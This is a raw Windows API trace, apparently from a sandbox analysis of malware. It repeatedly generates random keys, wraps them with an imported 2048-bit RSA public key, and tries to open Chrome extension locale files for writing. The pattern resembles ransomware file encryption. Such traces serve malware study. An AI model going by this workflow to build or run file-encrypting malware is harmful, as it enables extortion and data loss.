0xffffffff [0240.411] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.415] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.415] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.415] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.419] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.419] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.419] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.421] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae538) returned 1 [0240.421] CryptGetKeyParam (in: hKey=0x66ae538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.421] CryptEncrypt (in: hKey=0x66ae538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa7e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.422] GetLastError () returned 0x0 [0240.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.422] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.423] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae2b8) returned 1 [0240.423] CryptGetKeyParam (in: hKey=0x66ae2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.423] CryptEncrypt (in: hKey=0x66ae2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa7f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.424] GetLastError () returned 0x0 [0240.424] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.424] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.427] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.428] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.428] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.428] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.428] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.432] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.432] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.432] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.434] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae0f8) returned 1 [0240.434] CryptGetKeyParam (in: hKey=0x66ae0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.434] CryptEncrypt (in: hKey=0x66ae0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa800000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa800000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.435] GetLastError () returned 0x0 [0240.435] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.435] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.436] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae4f8) returned 1 [0240.436] CryptGetKeyParam (in: hKey=0x66ae4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.436] CryptEncrypt (in: hKey=0x66ae4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa810000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa810000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.437] GetLastError () returned 0x0 [0240.437] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.437] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.443] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.446] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.448] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.448] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.448] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.452] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.452] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.452] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.454] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae7f8) returned 1 [0240.454] CryptGetKeyParam (in: hKey=0x66ae7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.454] CryptEncrypt (in: hKey=0x66ae7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa820000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa820000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.454] GetLastError () returned 0x0 [0240.454] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.454] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.456] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae838) returned 1 [0240.456] CryptGetKeyParam (in: hKey=0x66ae838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.456] CryptEncrypt (in: hKey=0x66ae838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa830000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa830000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.456] GetLastError () returned 0x0 [0240.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.456] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.457] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.461] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.461] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.461] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.465] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.465] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.465] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.467] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae338) returned 1 [0240.467] CryptGetKeyParam (in: hKey=0x66ae338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.467] CryptEncrypt (in: hKey=0x66ae338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa840000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa840000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.467] GetLastError () returned 0x0 [0240.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.467] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.469] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae278) returned 1 [0240.469] CryptGetKeyParam (in: hKey=0x66ae278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.469] CryptEncrypt (in: hKey=0x66ae278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa850000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa850000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.469] GetLastError () returned 0x0 [0240.469] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.469] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.470] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.474] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.474] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.474] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.478] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.478] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.478] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.480] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae478) returned 1 [0240.480] CryptGetKeyParam (in: hKey=0x66ae478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.480] CryptEncrypt (in: hKey=0x66ae478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa860000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa860000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.480] GetLastError () returned 0x0 [0240.480] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.480] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.482] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae138) returned 1 [0240.482] CryptGetKeyParam (in: hKey=0x66ae138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.482] CryptEncrypt (in: hKey=0x66ae138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa870000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa870000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.482] GetLastError () returned 0x0 [0240.482] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.482] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.483] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.485] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.487] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.487] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.487] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.487] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.491] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.491] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.491] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.493] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae5b8) returned 1 [0240.493] CryptGetKeyParam (in: hKey=0x66ae5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.493] CryptEncrypt (in: hKey=0x66ae5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa880000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa880000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.493] GetLastError () returned 0x0 [0240.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.493] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.495] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae5f8) returned 1 [0240.495] CryptGetKeyParam (in: hKey=0x66ae5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.495] CryptEncrypt (in: hKey=0x66ae5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa890000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa890000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.495] GetLastError () returned 0x0 [0240.495] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.496] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.499] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.502] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.502] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.502] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.505] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.505] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.505] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.507] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae4b8) returned 1 [0240.507] CryptGetKeyParam (in: hKey=0x66ae4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.507] CryptEncrypt (in: hKey=0x66ae4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa8a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa8a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.508] GetLastError () returned 0x0 [0240.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.508] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.509] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae238) returned 1 [0240.509] CryptGetKeyParam (in: hKey=0x66ae238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.509] CryptEncrypt (in: hKey=0x66ae238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa8b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa8b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.510] GetLastError () returned 0x0 [0240.510] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.510] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.513] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.515] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.515] 